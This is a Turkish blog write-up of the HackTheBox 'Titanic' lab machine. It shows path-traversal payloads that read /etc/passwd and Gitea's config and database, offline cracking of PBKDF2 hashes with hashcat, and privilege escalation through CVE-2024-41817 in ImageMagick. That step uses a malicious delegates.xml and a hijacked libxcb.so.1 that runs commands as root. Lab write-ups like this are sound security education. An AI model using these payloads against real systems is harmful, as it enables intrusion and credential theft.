İçindekiler Tablosu
Giriş
Bu yazımda sizlere HackTheBox üzerinden çözdüğüm Titanic makinesinin çözümünü kendi bakış açımla anlatacağım.
HTB Titanik makinesini duyduğumda ilk başta çok dikkatimi çekti ve bir an önce çözmek istedim. Bu makineyi çözmem, diğer kolay seviye makinelere göre biraz fazla zamanımı aldı. Çünkü bulup kullanamadığım bilgiler vardı.
Keşif ve Bilgi Toplama
Hedef sisteme yönelik Nmap çıktısı:

22/TCP ve 80/TCP portlarında çalışan 2 servis gördüm. Sürüm zafiyeti araştırması yaptım ancak bir sonuç çıkmadı. Ardından 80/TCP portundan web uygulamasına giriş yaptım.

Formu doldurulup gönderildiğinde JSON formatında bir bilet dosyası indiriyor. başka atak yüzeyi olup olmadığını bulmak için ffuf taraması başlatıyorum.
FFUF taraması sonucunda 200 durum kodu dönen bir subdomain belirledim.

Ardından atak yüzeyi için öncelikli olarak inceleyeceğim alanı inceledim.
- titanic.htb/dev (200, başarılı)
Bulduğum subdomaine gittiğimde beni bir Gitea uygulaması karşıladı.

Docker ve flask dosyalarının bulunduğu repository leri inceleyerek devam ediyorum. /developer/flask-app/src/branch/main/app.py dosyasında dikkatimi çeken bir kaç durum gördüm. Hemen inceleyelim.
from flask import Flask, request, jsonify, send_file, render_template, redirect, url_for, Response
import os
import json
from uuid import uuid4
app = Flask(__name__)
TICKETS_DIR = "tickets"
if not os.path.exists(TICKETS_DIR):
os.makedirs(TICKETS_DIR)
@app.route('/')
def index():
return render_template('index.html')
@app.route('/book', methods=['POST'])
def book_ticket():
data = {
"name": request.form['name'],
"email": request.form['email'],
"phone": request.form['phone'],
"date": request.form['date'],
"cabin": request.form['cabin']
}
ticket_id = str(uuid4())
json_filename = f"{ticket_id}.json"
json_filepath = os.path.join(TICKETS_DIR, json_filename)
with open(json_filepath, 'w') as json_file:
json.dump(data, json_file)
return redirect(url_for('download_ticket', ticket=json_filename))
@app.route('/download', methods=['GET'])
def download_ticket():
ticket = request.args.get('ticket')
if not ticket:
return jsonify({"error": "Ticket parameter is required"}), 400
json_filepath = os.path.join(TICKETS_DIR, ticket)
if os.path.exists(json_filepath):
return send_file(json_filepath, as_attachment=True, download_name=ticket)
else:
return jsonify({"error": "Ticket not found"}), 404
if __name__ == '__main__':
app.run(host='127.0.0.1', port=5000)
Burada Ticket parametresi doğrudan os.path.join() ile birleştirilerek bir dosya yolu oluşturuluyor. Ama kullanıcı ticket parametresine “../../etc/passwd“ gibi değerler verirse, TICKETS_DIR dışındaki herhangi bir dosyaya erişim sağlayabildiği bir LFI zafiyeti barındırıyor.
LFI
Formu tekrar doldurup BurpSuite ile dinliyorum.


Sisteme girdiğim bilgilerle otomatik bir şekilde redirect işlemi yaparak JSON formatında bir bilet dosyası indirdiğini daha önce görüntülemiştim.
ticket parametre değerini değiştirerek ../../etc/passwd yapıyorum ve aşağıdaki gibi bir GET isteği gönderdim.
http://titanic.htb/download?ticket=../../etc/passwd
/etc/passwd dosyasının indiğini görüntüleyerek LFI zafiyetinin varlığını doğruluyorum.


Daha sonrasında developer kullanıcısı altında ki user flag’i almak için /home/developer/user.txt dosyasını indirmek için aşağıdaki gibi bir GET isteği gönderdim.
http://titanic.htb/download?ticket=../../../home/developer/user.txt

indirilen dosyayı açarak user flag değerini başarılı bir şekilde okuyorum.

dev.titanic.htb subdomain’i altındaki Gitea içerindeki araştırmalara devam ettiğimde bir /docker-config/gitea dizinindeki docker-compose.yml dosyası dikkatimi çekti. Burada gitea adında bir servis tanımlandığını ve bu serviste Gitea’nın Docker imajı (gitea/gitea) kullanıldığını gördüm.

Burada ana makinedeki /home/developer/gitea/data dizini, konteynerin /data dizinine bağlanıyor. Gitea, verilerini (depolar, yapılandırmalar, vs…) /data dizininde saklanıyor.
Tam path’i bilmediğim için konfigürasyon dosyasının yerinin nerede olduğu bilgisine Gitea’nin resmi dökümantasyon sayfasından, Database Preparation kısmından ulaştım.

Yukarıdaki görselde gösterildiği gibi konfigürasyon dosyasının /data/gitea/conf/app.ini içerisinde olduğunu varsayaraktan daha önce bulduğumuz zafiyetli ticket değerine bu dosya yolunu yazarak “configuration” dosyasını indirdim.

Dosya indi. Şimdi içeriğini okuyalım.

Veritabanının nerede olduğunu gösteren bir PATH ile karşılaştım.
Ardından bu veritabanını indirmek için tekrar ticket parametresinden faydalanarak bir indirme işlemi daha gerçekleştirdim.

Veritabanı dosyası indi. Şimdi bu veritabanının içeriğine bakalım.
Hash Çözme

User tablosu içerisinde 2 tane kullanıcı var.
- administrator
- developer
Parolalarını incelediğimde dbkdf2 hash algoritmasıyla hashlendiğini görüyorum.
NOT: developer kullanıcısı için yapılan şifre çözme işlemleri administrator kullanıcısı için de yapıldığında parola çözülememiştir.


PBKDF2 ile hash edilmiş parolaları hashcat kullanarak çözebiliriz. Ancak hashcat, Gitea’nın kullandığı formatı desteklemiyor, bu da kullanmadan önce çıktıyı birleştirmek ve dönüştürmek için zaman harcamaya sebep oluyor.
hashleri hashcat ile uyumlu hale getirmek için gitea2hashcat.py adında bir program kullandım.
Çevirme işlemi için 2 girdiye ihtiyacımız var:
- Password Hash
- Salt
Her ikisini de indirilen veritabanının User tablosunda buldum.

Ardından gitea2hashcat.py aracını aşağıdaki biçime uyacak şekilde çalıştırarak hashcat ile uyumlu formata çevirdim.
python3 gitea2hashcat.py "SALT|HASH"

Çevirme işlemi tamamlandı ve çıktıyı bir hash.txt dosyası oluşturup içerisine kaydettim. Şimdi sıra hashcat ile şifrelenmiş parolayı kırmaya geldi. Aşağıdaki şekilde hashcat’i çalıştırıyorum ve rockyou.txt dosyası ile liste atağı yapıyorum.
hashcat -m 10900 hash.txt /usr/bin/share/rockyou.txt
Buradaki -m parametresi, hash türünü belirmek için kullanılır. 10900 ise PBKDF2-HMAC-SHA256 algoritmasını temsil eder.

İşlem tamamlandı ve parolaya ulaştım. Ardından bunu ssh portuna bağlanmak için denediğimde başarılı bir giriş yaptım.

Sistem Keşfi

Dizinler içerisinde gezinirken /opt/scripts dizini altında identify_images.sh dosyasını buldum ve içeriğini inceledim.
cd /opt/app/static/assets/images #/opt/app/static/assets/images dizinine gider.
truncate -s 0 metadata.log # metadata.log dosyasının içerisini temizler.
find /opt/app/static/assets/images/ -type f -name "*.jpg" | xargs /usr/bin/magick identify >> metadata.log
identify_images.sh adındaki bu dosya, /opt/app/static/assets/images/ dizinindeki .jpg uzantılı tüm dosyaları buluyor. Ardından bulunan bu dosyalar xargs ile /usr/bin/magick identify komutuna gönderiliyor. identify komutu ImageMagick aracının bir parçası olarak ve görüntü dosyalarının formatı, boyutu, renk derinliği, çözünürlüğü gibi metadata bilgilerini çıkararak metadata.log dosyasına kaydediyor.
Magick’in sürümü incelendiğinde ImageMagick 7.1.1.1-35 olduğu anlaşılmaktadır.

Sürüm ile ilgili bir zafiyet olup olmadığını araştırmak için ImageMagick’in github sayfasına girdiğimde Keyfi Kod yürütme zafiyeti olduğunu gördüm.


CVE-2024-41817 zafiyeti <=7.1.1-35 sürümler için çalışmaktadır.
CVE-2024-41817 İnceleme
Kaynak kodlarına bakıldığında AppRun dosyasında MAGICK_CONFIGURE_PATH ve LD_LIBRARY_PATH değişkenleri, yollarının arasına : koyularak birleştiriliyor. Eğer bir yol boşsa, bu :: veya : ile biten bir yapıya neden oluyor.
Biraz daha detalı inceleyelim.
MAGICK_CONFIGURE_PATH ve LD_LIBRARY_PATH değişkenleri, ImageMagick’in yapılandırma dosyalarını ve paylaşılan kütüphaneleri (shared libraries) nereden bulacağını belirtiyor.

AppRun dosyasında çevre değişkenleri ayarlanırken readlink -f komutu kullanıldığı görünüyor. Örneğin:
export MAGICK_CONFIGURE_PATH=$(readlink -f "$HERE/usr/lib/ImageMagick-7.0.9/config-Q16"):$(readlink -f "$HERE/usr/lib/ImageMagick-7.0.9/config-Q16HDRI"):$(readlink -f "$HERE/usr/share/ImageMagick-7"):$(readlink -f "$HERE/usr/etc/ImageMagick-7"):$MAGICK_CONFIGURE_PATH
Burada MAGICK_CONFIGURE_PATH ve LD_LIBRARY_PATH ortam değişkenleri ayarlanmadan ImageMagick çalıştırıldığında, AppRun scripti MAGICK_CONFIGURE_PATH ve LD_LIBRARY_PATH ortam değişkenlerini aşağıdaki gibi ayarlıyor:
LD_LIBRARY_PATH=/tmp/appimage_extracted_b348a3adb4186935f4ba57125e8cd9d8/usr/lib/ImageMagick-7.0.9/modules-Q16HDRI/coders:/tmp/appimage_extracted_b348a3adb4186935f4ba57125e8cd9d8/usr/lib:
MAGICK_CONFIGURE_PATH=::/tmp/appimage_extracted_b348a3adb4186935f4ba57125e8cd9d8/usr/share/ImageMagick-7:/tmp/appimage_extracted_b348a3adb4186935f4ba57125e8cd9d8/usr/etc/ImageMagick-7:
Çıktıdaki :: işaretine ve sondaki : işaretine bakıldığında burada boş string döndüğü anlaşılıyor. Bunun nedeni: Eğer $HERE/usr/lib/ImageMagick-7.0.9/config-Q16 gibi dizinler mevcut değilse, readlink -f komutu boş bir string (“”) döndürmesinden kaynaklanıyor.
Ortam değişkenleri (MAGICK_CONFIGURE_PATH ve LD_LIBRARY_PATH) boş bir string içerdiğinde, Linux bunu mevcut çalışma dizini olarak yorumluyor. Yani uygulama, çalıştırıldığı dizini bir sistem dizini gibi algılar ve oradan dosya veya kütüphane yükleyebilir hale geliyor.
MAGICK_CONFIGURE_PATH üzerinden saldırı
MAGICK_CONFIGURE_PATH, ImageMagick’in yapılandırma dosyalarını aradığı yerdir. Eğer boş bir değer içerirse (::), ImageMagick çalıştırıldığı dizinden delegates.xml dosyasını yükleyebilir. Delegates.xml ise ImageMagick’in belirli işlemler için çalıştıracağı komutları tanımlayan dosyadır.
Saldırgan gözüyle bakarsak buraya amacımıza uygun bir kod ekleyerek, ImageMagick çalışırken bu komutun da çalıştırılmasını sağlayabiliriz.
Bu işlem için terminale aşağıdaki bash scriptini yazıyorum.
cat << EOF > ./delegates.xml
<delegatemap><delegate xmlns="" decode="XML" command="id"/></delegatemap>
EOF
Daha sonra aşağıdaki komutla ImageMagick’i çalıştırıyorum.
magick ./delegates.xml ./out.png 2>/dev/null
ve id komutum çalıştı!

Eğer id yerine kötü amaçlı bir komut veya reverse shell içeren bir komut olsaydı, saldırgan tam kontrol sağlayabilirdi.
LD_LIBRARY_PATH üzerinden saldırı
LD_LIBRARY_PATH, Linux’un paylaşılan kütüphanelerini nerede arayacağını belirler. Boş bir değer içerilmesi halinde çalıştırılan dizinden zararlı bir paylaşımlı kütüphane yüklenebilir.
Geçerli dizinde kendi libxcb.so.1 kütüphanemizi oluşturup ImageMagick’i çalıştırırsak, bu kütüphane yüklenir ve istediğimiz komut çalıştırılır hale gelir.
Terminal ekranına aşağıdaki bash scripti yazarak başlayalım.
gcc -x c -shared -fPIC -o ./libxcb.so.1 - << EOF
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
__attribute__((constructor)) void init(){
system("id");
exit(0);
}
EOF
Bu bash scriptinde libxcb.so.1 adında bir paylaşılan kütüphane oluşturulur. Bu kütüphane yüklendiğinde, init fonksiyonu otomatik olarak çalışır. init fonksiyonu, id komutunu çalıştırır ve programı sonlandırır.
Daha sonra aşağıdaki komutla ImageMagick’i çalıştırıyorum.
magick /dev/null /dev/null
ve id komutu çalıştı!

MAGICK_CONFIGURE_PATH senaryosunda olduğu gibi burada da id yerine daha farklı komutlar verilerek kötü amaçlı bir komut veya reverse shell bile alınabilirdi.
Yetki Yükseltme
CVE analizinde anlattıklarımdan LD_LIBRARY_PATH değişkeni üzerinden root flag’i almaya çalışacağım.
İlk olarak aşağıdaki bash script’i terminale yapıştırıyorum.
gcc -x c -shared -fPIC -o ./libxcb.so.1 - << EOF
#include <stdio.h>
#include <stdlib.h>
__attribute__((constructor)) void init(){
system("cp /root/root.txt root.txt; chmod 754 root.txt");
exit(0);
}
EOF
Ardından aşağıdaki komutla ImageMagick’i çalıştırıyorum.
magick /dev/null /dev/null

bulunduğum yere kopyaladığım root.txt dosyasını okuduğumda root flag’i alıyorum.
Dİğer Yazılarıma ulaşmak için buraya tıklayın!
Kaynak
https://www.vicarius.io/vsociety/posts/cve-2022-44268-arbitrary-remote-leak-in-imagemagick
https://www.unix-ninja.com/p/cracking_giteas_pbkdf2_password_hashes
https://nvd.nist.gov/vuln/detail/CVE-2024-41817
https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-8rxc-922v-phg8
Leave a Comment